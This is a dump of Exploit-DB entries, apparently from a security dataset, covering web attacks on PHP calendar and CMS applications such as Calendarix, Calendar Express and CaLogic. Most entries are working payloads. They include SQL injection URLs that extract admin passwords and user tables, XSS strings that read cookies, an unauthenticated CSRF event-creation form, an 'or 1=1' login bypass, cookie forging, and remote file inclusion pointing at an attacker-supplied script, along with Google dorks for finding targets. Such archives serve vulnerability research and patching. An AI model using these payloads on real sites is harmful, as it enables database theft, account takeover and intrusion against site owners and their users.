deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39173
Description: Caldera - '/costview2/jobs.php?tr' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-07
Author: Thomas Fischer

Exploit:
source: https://www.securityfocus.com/bid/67256/info

Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/costview2/jobs.php?tr=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,pass_adm,14,15,16+from+cost_admin
Exploit-DB #39174
Description: Caldera - '/costview2/printers.php?tr' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-07
Author: Thomas Fischer

Exploit:
source: https://www.securityfocus.com/bid/67256/info
 
Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/costview2/printers.php?id_onglet=0&tr=0+union+select+0x3020756E696F6E2073656C656374206E756C6C2C[PII_REDACTED]73696F6E2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C,null,null,0,null&deb=0
Exploit-DB #51241
Description: Calendar Event Multi View  1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-05
Author: Mostafa Farzaneh

Exploit:
# Exploit Title: Calendar Event Multi View  1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS)
# Date: 2022-05-25
# Exploit Author: Mostafa Farzaneh
# WPScan page:
https://wpscan.com/vulnerability/95f92062-08ce-478a-a2bc-6d026adf657c
# Vendor Homepage: https://wordpress.org/plugins/cp-multi-view-calendar/
# Software Link:
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.4.06.zip
# Version:   1.4.06
# Tested on: Linux
# CVE : CVE-2022-2846
# Description:
The Calendar Event Multi View WordPress plugin before 1.4.07 does not have
any authorisation and CSRF checks in place when creating an event, and is
also lacking sanitisation as well as escaping in some of the event fields.
This could allow unauthenticated attackers to create arbitrary events and
put Cross-Site Scripting payloads in it.

#POC and exploit code:
As an unauthenticated user, to add a malicious event (on October 6th, 2022)
to the calendar with ID 1, open the code below

<html>
  <body>
    <form action="
https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails"
method="POST">
      <input type="hidden" name="Subject"
value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="colorvalue" value="#f00" />
      <input type="hidden" name="rrule" value="" />
      <input type="hidden" name="rruleType" value="" />
      <input type="hidden" name="stpartdate" value="10/6/2022" />
      <input type="hidden" name="stparttime" value="00:00" />
      <input type="hidden" name="etpartdate" value="10/6/2022" />
      <input type="hidden" name="etparttime" value="00:00" />
      <input type="hidden" name="stpartdatelast" value="10/6/2022" />
      <input type="hidden" name="etpartdatelast" value="10/6/2022" />
      <input type="hidden" name="stparttimelast" value="" />
      <input type="hidden" name="etparttimelast" value="" />
      <input type="hidden" name="IsAllDayEvent" value="1" />
      <input type="hidden" name="Location" value="CSRF" />
      <input type="hidden" name="Description" value='<p style="text-align:
left;">CSRF</p>' />
      <input type="hidden" name="timezone" value="4.5" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered when viewing the related event
Exploit-DB #29606
Description: Calendar Express - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-15
Author: BL4CK

Exploit:
source: https://www.securityfocus.com/bid/22578/info

Calendar Express is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E
Exploit-DB #10758
Description: Calendar Express 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-28
Author: BAYBORA

Exploit:
#############################################################
# Calendar Express 2.0 Vulnerability

# Calendar Express 2.0 [Powered by Phplite.com]

# Download:http://script.wareseeker.com/download/calendar-express-2.rar/11517

# Author: Baybora

# Site: www.1923turk.biz<http://www.1923turk.biz>

##############################################################


Exploit:


POST http://localhost/calendarexpress2.1/year.php?catid=-4+union+select+0,convert(concat(USER(),0x3a,VERSION(),0x3a,DATABASE())+using+latin1),2/*&cid=&w=&d=9&m=1&y=2008&selection=1


Demo:

http://server/calendarexpress2.1/year.php?catid=-4+union+select+0,convert(concat(USER(),0x3a,VERSION(),0x3a,DATABASE())+using+latin1),2/*&cid=&w=&d=9&m=1&y=2008&selection=1


Special Thanks:Gamoscu~~Manas58~~X-TRO~~Tiamo~~PS&#304;KO~~Delibey~~_infazc&#305;_PALYO34&All 1923TURK Member's
Exploit-DB #27990
Description: Calendar Express 2.2 - 'month.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-07
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18314/info

Calendar Express is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/print/month.php?cid=&catid=[SQL]
http://www.example.com/print/month.php?cid=[SQL]
Exploit-DB #26115
Description: Calendar Express 2.2 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-08
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/14505/info

Calendar Express is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/calendarexpress/search.php?allwords=<br><script>alert(document.cookie);</script>&cid=0&title=1&desc=1
Exploit-DB #7551
Description: Calendar Script 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-22
Author: StAkeR

Exploit:
 -----------------------------------------------------
 Calendar Script v1.1 Admin Login Bypass Vulnerability
 -----------------------------------------------------
 by athos - staker[at]hotmail[dot]it
 http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1

 File Vuln "index.php" (code details)

 ------------------------------------------------------------

 4.  $action = $_POST['action'];
 5.
 6.  switch($action) {
 7.  case 'login':
 8.  // login
 9.  $username = stripslashes(trim($_POST['username']));
 10. $password = sha1(stripslashes(trim($_POST['password'])));
 11.
 12. if(empty($username) || empty($password)) {
 13. // Stop, someone tried entering nothing into here
 14. // Show an error.
 15. $loginMsg = 'You must enter a username and password';
 16. } else {
 17. // The input seems to be ok, check it against the database.
 18. $checkDetails = mysql_query("SELECT id FROM user WHERE username='$username' AND [CREDENTIAL_REDACTED]' LIMIT 1", $conn);

 ------------------------------------------------------------

 Exploit

 http://[host]/[path]/index.php

 (Login) Username: ' or 1=1# & [CREDENTIAL_REDACTED]

 ------------------------------------------------------------

 Fix: $username = mysql_real_escape_string($_POST['username']);

 Note: works regardless php.ini settings (str0ke =D)
       don't add me on msn messenger

 ------------------------------------------------------------

# milw0rm.com [2008-12-22]
Exploit-DB #7513
Description: Calendar Script 1.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-12-18
Author: Osirys

Exploit:
[START]

#########################################################################################
[0x01] Informations:

Script         : Calendar Script v1.1
Download       : http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/index.php

[CODE]

if(mysql_num_rows($checkDetails) > 0) {
    setcookie('nodstrumCalendarV2', '1', time()+3600);	// Cookie will expire in 1 hour.
    // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}

[/CODE]

If we login in correctly, a cookie is created with 'nodstrumCalendarV2' as name and
'1' as content.

## [!] FIX: Change name or content to the cookie. Example:

[CODE]

if(mysql_num_rows($checkDetails) > 0) {
    setcookie('nodstrumCalendarV2', '$password', time()+3600);	// Cookie will expire in 1 hour.
    // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}

[/CODE]


### [!] EXPLOIT: javascript:document.cookie = "nodstrumCalendarV2=1; path=/";


#########################################################################################

[/END]

# milw0rm.com [2008-12-18]
Exploit-DB #41834
Description: Calendar Template 2.0 - 'editid1' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Calendar v2.0 for ASPRunnerPro/PHPRunner/ASPRunner.NET. - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: https://xlinesoft.com/
# Software: https://xlinesoft.com/templates/calendar/index.htm
# Demo: https://xlinesoft.com/livedemo/calendar/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/caldaily_view.php?editid1=[SQL]
# # # # #
Exploit-DB #14393
Description: Calendarix - 'cal_cat.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-07-17
Author: SixP4ck3r

Exploit:
===============================================================================
Calendarix (cal_cat.php) SQL Injection Vulnerability
===============================================================================

Author          : SixP4ck3r
Email & msn     : SixP4ck3r@Bolivia.com
Date            : 17 July 2010
Critical Lvl    : High
Impact          : Exposure of sensitive information
Where           : From Remote
web		: http://foro.nbsecurity.net/
Credits		: Diablada and Caporal is Bolivian
Dork		: inurl:cal_cat.php?op=
---------------------------------------------------------------------------
[Sofware afected info]
Calendarix it's a events manager based in web write in php, requiere
mysql for database.
[Download]
http://www.calendarix.com/
[Afected versions]
All + 0 day
---------------------------------------------------------------------------
[Bug]

if ($limit>$totalrows) $limit = 0 ;
$query .= " LIMIT ".$limit.",".$limitrow ;

$query = "select ".$qstr.$query ;
// echo "<h4>".$query."</h4>";
$result = mysql_query($query);
$rowname = mysql_fetch_object($result);
$rows = mysql_num_rows($result);
---------------------------------------------------------------------------
[Exploting..demo]

http://example/[path]/calendar/cal_cat.php?op=cat&id=1&year=2010&sort=&catmonth=6&catview=0&limit=[SQL]
---------------------------------------------------------------------------
With R3gards,
SixP4ck3r from Bolivia
___eof____
Exploit-DB #33477
Description: Calendarix 0.7 - 'calpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-07
Author: Saywhat

Exploit:
source: https://www.securityfocus.com/bid/37673/info

Calendarix is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Calendarix 0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/cal_config.inc.php?calpath= EVIL SITE???
Exploit-DB #27665
Description: Calendarix 0.7 - 'YearCal.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-17
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17562/info

Calendarix is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Specific information regarding affected versions of Calendarix is currently unavailable.

http://www.example.com/[path]/yearcal.php?ycyear=<script>alert(document.cookie)</script>
Exploit-DB #30232
Description: Calendarix 0.7.20070307 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-06-25
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/24626/info

Calendrix is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Calendrix 0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?year=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/calendar.php?month="><script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/yearcal.php?ycyear=<script>alert(document.cookies)</script> http://www.example.com/[PRODUCT-DIRECTORY]/cal_footer.inc.php?leftfooter=<script>alert(document.cookies)</script>
Exploit-DB #30234
Description: Calendarix 0.7.20070307 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-06-25
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/24633/info

Calendarix is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Calendarix 0.7.20070307; other versions may also be affected. 

http://www.example.com/calendar.php?month=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23

http://www.example.com/calendar.php?month=&year=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23
Exploit-DB #25778
Description: Calendarix 0.8.20071118 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-31
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/13825/info

Calendarix is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting the SQL-injection issues could allow attackers to compromise the application, obtain or modify data, or exploit vulnerabilities in the underlying database. Exploiting the cross-site scripting issues may allow the attacker to run arbitrary script code in the browser of an unsuspecting user, which may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/cal_day.php?op=day&date=2005-05-03&catview=1[sql]/*
http://www.example.com/cal_pophols.php?id=999'[sql]/*
http://www.example.com/calendar.php?op=cal&month=5&year=2'%3Ch1%3DarkBicho005&catview=1
http://www.example.com/cal_week.php?op=week&catview= 999'[sql]/*
http://www.example.com/cal_cat.php?op=cats&catview=999'[sql]*/
Exploit-DB #11443
Description: Calendarix 0.8.20071118 - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-14
Author: Thibow

Exploit:
#######################[ Informatique inside ]##########################
#Calendarix           :  SQL injection
#Version              :  0.8.20071118 et < inf&#65533;rieur 
#Author               :  Thibow
#Contact              :  Thibow[4t]linformatique-inside[dot]com
#Location             :  France
#Website              :  http://www.informatique-inside.com
#Dork                 :  "inurl:cal_day.php?op=day&catview="
#Solution             :  Update: http://www.calendarix.com/
########################################################################

                 .   :
                   :::III
                   .:::IIIII
                   .:IIIIIIIIII...
                     :IIHIIIIIIIII:.
                      :IIIIIIIIIII:::
    .:IIIIIIIIIIIII:   :IIIIIIIIII:::MI. .
     ..:::IIIIIIIIIIII  :IIIIIII::::MMH.:
    .::IIHMHIIIIIIIIIII: IIIIII::::MMM.M .:
   ....::IHHMIIIIIIIIIII.:IIII::::MMMIM .I:
   ...::IIIIHHIIIIIIIIIII:III:::::MMMM:.H:
          .:IIIIIIIIIIIIIHI::::::M.H.M II
            .:IIIIIIIIIIIMI:::::M. :M :M.
              .IIIIIIII::MI::::M:  HM:M:
              .:IIII:::::MI:::M:..IMMHH.
          . .:I:I::::::::MI::M:. :MMMM:
         . .IMI..::::::::MI:H.:.:MMMHM.
        : :MMI.  .:::::::MI.:::HMMMMHI
       : :MMI.    :::::III I HMMMIMMM:
      :.:MMI.     .IIII: I:.MMMM: MMM.
     .::MMI.       II:.II:HMMMH. .MMM.
     I::II.         II:.IMMMH:.  IMMM:
     ..::II:      III :IIMMH.    HHHM:
    ::. .::. .::II..IIIIIMI.     HHHM:
    II::.:II::: .IMMMIIIIMI.    MMMMM:
     IIII:.:HMMMMMMMMIIIIMI.   :MMMMM:
     .MIIIMMMMMMMH:. .IIIMH.. .MMMMMM:
      :MMMMMMI:..     IIIIH:.MMMHMMMI
       :HMMH.         .MMMMMMMM:MMMI.
                    .IMMMMMM::HMMM.
                         .:IMMMM:.


########################################################################

#=Sql Injection=========================================================================================================================================================#
# Exploit[Liste les tables] 
# =>http://[vulnWebSite]/cal_day.php?op=day&catview=-2 union all select group_concat(table_name) from information_schema.tables where table_schema=database()--     
# 
# Exploit[Colonnes de la tables users - Attention, en fonction du nom des tables !]
# => http://[vulnWebSite]/cal_day.php?op=day&catview=-2%20union%20all%20select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_name=0x63616c656e[PII_REDACTED]5f[PII_REDACTED]--
#
# Exploit[Extraction des donn&#65533;es de la BDD]
# => http://[vulnWebSite]/cal_day.php?op=day&catview=-2%20union%20all%20select%20concat_ws%280x3a,username,0x3a,password,0x3a,email,0x3a,url%29%20from%20calendarix_users--
#
#=======================================================================================================================================================================
Exploit-DB #35737
Description: Calendarix 0.8.20080808 - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2011-05-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47790/info


Calendarix is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Calendarix 0.8.20080808 is vulnerable; other versions may also be affected.


<form action="http://www.example.com/cal_login.php?op=login" method="post" name="main" />
<input type="hidden" name="login" value="&#039;SQL_CODE_HERE"/>
<input type="hidden" name="password" value=""/>
<input type="submit" value="submit"/>
</form>

http://www.example.com/cal_login.php/%27%3E%3Cscript%3Ealert%28123%29;%3C/script%3E

<form action="http://www.example.com/cal_catview.php?catop=viewcat" method="post" name="main" />
<input type="hidden" name="gocat" value="&#039;</script><script>alert(document.cookie);</script>"/>
<input type="submit" value="submit"/>
</form>


http://www.example.com/cal_date.php?frmname=%3C/script%3E%3Cscript%3Ealert%28123%29;%3C/script%3E

http://www.example.com/cal_footer.inc.php?leftfooter=%3Cscript%3Ealert%28123%29;%3C/script%3E
Exploit-DB #31124
Description: Calimero.CMS 3.3 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-08
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27690/info

Calimero.CMS is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Calimero.CMS 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?class=calimero_webpage&id="><script>alert(/vulnxss/)</script>
Exploit-DB #1809
Description: CaLogic Calendars 1.2.2 - 'CLPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-20
Author: Kacper

Exploit:
################ DEVIL TEAM THE BEST POLISH TEAM #################
#CaLogic Calendars V1.2.2 - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#dork: CaLogic Calendars V1.2.2
##################################################################
reconfig.php:
[code]
include_once("./include/config.php");
include_once($GLOBALS["CLPath"]."/classes/session.php");
include_once($GLOBALS["CLPath"]."/include/gfunc.php");
include_once($GLOBALS["CLPath"]."/classes/calogicautomation.php");
[/code]

http://site.com/[path]/reconfig.php?GLOBALS[CLPath]=[evil_script]


srxclr.php:
[code]
include_once("./include/config.php");
include_once($GLOBALS["CLPath"]."/include/calfunc.php");
include_once($GLOBALS["CLPath"]."/include/gfunc.php");
include_once($GLOBALS["CLPath"]."/include/efuncs.php");
[/code]

http://site.com/[path]/srxclr.php?GLOBALS[CLPath]=[evil_script]

#pozdro :)

# milw0rm.com [2006-05-20]